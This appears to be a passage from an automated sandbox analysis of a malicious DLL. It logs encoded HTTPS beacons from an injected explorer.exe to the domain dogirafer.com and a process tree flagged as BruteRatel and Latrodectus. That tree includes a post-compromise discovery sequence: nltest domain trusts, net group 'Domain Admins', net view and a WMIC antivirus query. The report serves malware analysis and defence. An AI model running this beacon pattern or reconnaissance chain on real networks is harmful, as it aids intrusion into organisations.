2024-12-02 17:46:56 UTC	343	IN	Data Raw: 31 35 30 0d 0a 4d 69 32 55 52 4d 61 78 32 49 70 6a 59 42 76 61 6a 47 4c 6b 67 33 64 4a 4d 30 2f 51 42 43 4c 43 61 50 69 77 76 43 48 50 59 57 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 71 49 30 59 6f 65 35 4c 67 37 46 30 72 43 72 71 2b 74 61 64 47 73 70 65 6e 70 63 77 36 36 55 35 57 46 57 46 4e 36 4d 65 6c 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 77 78 42 2b 7a 6d 4a 52 56 2b 61 4c 62 49 63 6e 45 6c 34 4d 74 44 36 46 50 63 43 68 70 42 37 45 67 31 4f 56 49 4d 4e 34 76 4d 66 61 48 38 63 30 69 6a 4e 6a 4f 6c 54 58 6e 53 66 55 68 43 66 32 33 75 30 51 35 36 57 62 41 57 67 4e 50 59 6b 71 39 42 61 4e 61 50 75 49 6a 38 41 73 31 56 51 70 Data Ascii: 150Mi2URMax2IpjYBvajGLkg3dJM0/QBCLCaPiwvCHPYWmcphSGpB6yiJiVjA1qI0Yoe5Lg7F0rCrq+tadGspenpcw66U5WFWFN6MelfW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/KcwxB+zmJRV+aLbIcnEl4MtD6FPcChpB7Eg1OVIMN4vMfaH8c0ijNjOlTXnSfUhCf23u0Q56WbAWgNPYkq9BaNaPuIj8As1VQp
2024-12-02 17:46:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50037	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:57 UTC	414	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hiZwqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:59 UTC	788	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=50wPhqxmKR9qvV6qgiUFTe8VwOy75lY0bENk2a2LlUNEllUlSX0Cim%2Be6LA3pubwA9Yye1%2F4u16Qd1EDjP3%2BHn8rge5D%2B1hQ4pukEv%2BcYtkUSBmtLELXPf0zCDnuk6Qg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd23b07d09abd9-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14899&min_rtt=14122&rtt_var=6851&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1052&delivery_rate=143531&cwnd=32&unsent_bytes=0&cid=dd16ef24bb485cfc&ts=1417&x=0"
2024-12-02 17:46:59 UTC	343	IN	Data Raw: 31 35 30 0d 0a 4d 69 57 56 51 38 71 36 32 34 70 6a 5a 78 2f 51 67 47 61 73 7a 58 35 4d 4f 30 72 66 41 55 36 75 61 76 71 30 74 79 58 4b 4b 52 69 62 37 78 75 50 6f 41 32 31 6a 34 62 55 69 7a 52 74 4c 30 51 6a 66 4a 71 4f 67 46 59 68 43 37 53 38 73 65 30 43 74 35 75 75 6f 38 45 38 67 69 42 54 47 6d 4a 4e 37 38 48 73 44 47 6c 31 64 48 45 73 51 51 6e 32 75 59 53 4a 44 43 48 52 71 33 63 4d 4e 4a 6b 63 34 72 38 34 78 55 4b 30 75 2f 43 62 58 32 73 68 6f 41 6d 6c 42 68 76 34 46 73 6f 35 41 65 76 6d 4b 58 4d 59 61 4c 44 4a 66 33 4d 76 71 34 56 41 37 46 50 56 44 48 5a 44 68 30 67 30 4d 46 4d 49 63 72 47 36 4a 66 6e 6c 63 6e 6a 42 4e 6d 71 74 55 58 33 56 4e 78 52 58 4e 43 33 74 31 78 74 79 54 62 51 43 79 38 4b 5a 6e 4f 39 59 49 74 47 65 35 50 48 5a 4e 2f 42 55 54 70 Data Ascii: 150MiWVQ8q624pjZx/QgGaszX5MO0rfAU6uavq0tyXKKRib7xuPoA21j4bUizRtL0QjfJqOgFYhC7S8se0Ct5uuo8E8giBTGmJN78HsDGl1dHEsQQn2uYSJDCHRq3cMNJkc4r84xUK0u/CbX2shoAmlBhv4Fso5AevmKXMYaLDJf3Mvq4VA7FPVDHZDh0g0MFMIcrG6JfnlcnjBNmqtUX3VNxRXNC3t1xtyTbQCy8KZnO9YItGe5PHZN/BUTp
2024-12-02 17:46:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50038	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:47:00 UTC	414	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hiZgqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:47:02 UTC	786	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:47:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jzKUMyXJGscvwpDkuX%2FZkqjsoIgkEnODoSmjXnjHxkiim2JKjP3X6XZi6i2ARv%2FvLJPnk5BIMyU7fAdRQ1Lows3lHSQAf5dCPSWwJ%2FNJbvafE8IVOLdFg1Apsxfh%2FVk6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd23c2a853ab2d-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14244&min_rtt=14239&rtt_var=5351&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1052&delivery_rate=204395&cwnd=32&unsent_bytes=0&cid=ab2bd386aad0dc16&ts=1627&x=0"
2024-12-02 17:47:02 UTC	347	IN	Data Raw: 31 35 34 0d 0a 50 79 71 5a 54 63 71 78 33 49 70 6e 5a 78 7a 61 67 57 48 67 67 33 52 4e 4d 30 72 55 41 69 50 43 61 50 69 36 76 43 2f 4d 5a 47 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 71 4a 45 49 76 66 35 62 6b 37 46 63 6b 43 37 47 38 75 4b 46 47 74 5a 65 76 70 4d 45 36 37 6b 35 53 48 47 42 4b 36 63 4f 68 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 6b 32 41 75 50 6a 4b 42 31 2b 5a 4c 58 44 66 33 41 6b 37 38 74 45 37 56 4c 5a 44 52 35 48 37 45 77 39 4d 6c 4d 49 4e 6f 72 4d 66 61 48 38 63 30 69 6a 4e 6a 4f 6c 54 58 6e 53 66 55 68 43 66 32 33 75 30 51 35 36 57 62 41 57 67 4e 50 59 6b 71 39 42 61 4e 61 50 75 49 6a 38 41 73 31 55 54 35 Data Ascii: 154PyqZTcqx3IpnZxzagWHgg3RNM0rUAiPCaPi6vC/MZGmcphSGpB6yiJiVjA1qJEIvf5bk7FckC7G8uKFGtZevpME67k5SHGBK6cOhfW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/Kck2AuPjKB1+ZLXDf3Ak78tE7VLZDR5H7Ew9MlMINorMfaH8c0ijNjOlTXnSfUhCf23u0Q56WbAWgNPYkq9BaNaPuIj8As1UT5
2024-12-02 17:47:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50039	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:47:03 UTC	414	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hiZQqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:47:05 UTC	788	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:47:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jhCiFSm5MOMwGXy2LMVUdlwbLcgsapsklv%2Farxfx0oh5b8%2BOB19G63Ja4tZpHk%2BM335%2Blk2iUhBlkBhJdCZkfLGUvrarIS8JiI61IJ2EZjKifM1dhNvHLTfm0C7%2FUDoN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd23d5dc374bcc-BUF alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=12503&min_rtt=12494&rtt_var=4704&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1052&delivery_rate=232262&cwnd=32&unsent_bytes=0&cid=b24ba16fe51b473d&ts=1736&x=0"
2024-12-02 17:47:05 UTC	339	IN	Data Raw: 31 34 63 0d 0a 4f 43 79 62 51 73 53 32 30 59 70 69 61 78 6a 52 67 57 4c 6f 67 33 64 4d 50 45 76 51 42 43 6a 43 5a 2f 65 36 74 69 2f 4f 4b 52 69 62 37 78 75 50 6f 41 32 31 6a 34 62 55 69 7a 35 73 4c 30 49 74 66 5a 4f 4f 68 6c 6b 72 44 72 47 2b 73 75 30 4f 73 35 4f 73 6f 63 39 52 35 43 4e 53 46 47 4a 4a 6f 2f 36 61 56 44 46 73 64 55 46 50 51 56 48 2b 70 59 43 4f 52 6e 33 45 39 6a 30 66 4a 5a 30 4b 34 71 38 38 32 67 32 36 2b 76 37 62 52 69 45 6d 73 56 58 63 49 79 2f 4b 45 38 45 78 42 75 79 4d 4b 52 6f 58 61 72 50 45 66 44 30 6b 34 6f 52 50 37 31 4c 56 5a 78 70 50 69 30 45 31 4d 56 6c 45 41 37 62 6c 49 75 66 36 58 54 57 4d 49 6e 61 74 56 58 36 63 49 68 51 63 50 79 58 6a 7a 41 68 31 54 71 4e 65 68 73 36 62 33 72 52 4a 4e 4e 62 46 78 76 62 6b 4f 76 56 57 51 4a Data Ascii: 14cOCybQsS20YpiaxjRgWLog3dMPEvQBCjCZ/e6ti/OKRib7xuPoA21j4bUiz5sL0ItfZOOhlkrDrG+su0Os5Osoc9R5CNSFGJJo/6aVDFsdUFPQVH+pYCORn3E9j0fJZ0K4q882g26+v7bRiEmsVXcIy/KE8ExBuyMKRoXarPEfD0k4oRP71LVZxpPi0E1MVlEA7blIuf6XTWMInatVX6cIhQcPyXjzAh1TqNehs6b3rRJNNbFxvbkOvVWQJ
2024-12-02 17:47:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	12:42:56
Start date:	02/12/2024
Path:	C:\Windows\System32\loaddll64.exe
Wow64 process (32bit):	false
Commandline:	loaddll64.exe "C:\Users\user\Desktop\wait.dll.dll"
Imagebase:	0x7ff722a90000
File size:	165'888 bytes
MD5 hash:	763455F9DCB24DFEECC2B9D9F8D46D52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:42:56
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	12:42:56
Start date:	02/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\wait.dll.dll",#1
Imagebase:	0x7ff6b4ba0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	12:42:56
Start date:	02/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\wait.dll.dll,Jump
Imagebase:	0x7ff7edbf0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000003.00000003.2319042957.000001CEB022C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000003.00000002.4537635408.000001CEB01FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000003.00000003.2319103261.000001CEB022C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	12:42:56
Start date:	02/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\wait.dll.dll",#1
Imagebase:	0x7ff7edbf0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000004.00000002.4538291850.0000027619ADC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000004.00000003.2421944396.0000027619B0B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000004.00000003.2421877879.0000027619B0B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:42:59
Start date:	02/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\wait.dll.dll",Jump
Imagebase:	0x7ff7edbf0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000006.00000002.4537513322.00000233A000C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000006.00000003.2516556491.00000233A003B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000006.00000003.2513239547.00000233A003B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	12:43:21
Start date:	02/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000008.00000002.4549377026.000000000977A000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:44:50
Start date:	02/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c ipconfig /all
Imagebase:	0x7ff6b4ba0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:44:50
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:44:50
Start date:	02/12/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	ipconfig /all
Imagebase:	0x7ff6067f0000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:44:50
Start date:	02/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c systeminfo
Imagebase:	0x7ff6b4ba0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:44:50
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:44:50
Start date:	02/12/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff67b490000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:44:51
Start date:	02/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:44:52
Start date:	02/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c nltest /domain_trusts
Imagebase:	0x7ff6b4ba0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	12:44:52
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:44:52
Start date:	02/12/2024
Path:	C:\Windows\System32\nltest.exe
Wow64 process (32bit):	false
Commandline:	nltest /domain_trusts
Imagebase:	0x7ff634410000
File size:	540'672 bytes
MD5 hash:	70E221CE763EA128DBA484B2E4903DE1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	12:44:52
Start date:	02/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c nltest /domain_trusts /all_trusts
Imagebase:	0x7ff6b4ba0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	12:44:52
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	12:44:52
Start date:	02/12/2024
Path:	C:\Windows\System32\nltest.exe
Wow64 process (32bit):	false
Commandline:	nltest /domain_trusts /all_trusts
Imagebase:	0x7ff634410000
File size:	540'672 bytes
MD5 hash:	70E221CE763EA128DBA484B2E4903DE1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	12:44:52
Start date:	02/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c net view /all /domain
Imagebase:	0x7ff6b4ba0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	12:44:52
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	12:44:52
Start date:	02/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net view /all /domain
Imagebase:	0x7ff7e86c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	12:45:05
Start date:	02/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c net view /all
Imagebase:	0x7ff6b4ba0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	12:45:05
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	12:45:05
Start date:	02/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net view /all
Imagebase:	0x7ff7e86c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	12:45:18
Start date:	02/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c net group "Domain Admins" /domain
Imagebase:	0x7ff6b4ba0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	12:45:18
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	12:45:18
Start date:	02/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net group "Domain Admins" /domain
Imagebase:	0x7ff7e86c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	12:45:18
Start date:	02/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 group "Domain Admins" /domain
Imagebase:	0x7ff69b7c0000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	12:45:18
Start date:	02/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	/Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
Imagebase:	0x7ff6ea700000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	12:45:18
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	12:45:18
Start date:	02/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c net config workstation
Imagebase:	0x7ff6b4ba0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	12:45:18
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	12:45:18
Start date:	02/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net config workstation
Imagebase:	0x7ff7e86c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	12:45:18
Start date:	02/12/2024
Path:	C:\Windows\System32\net1.exe
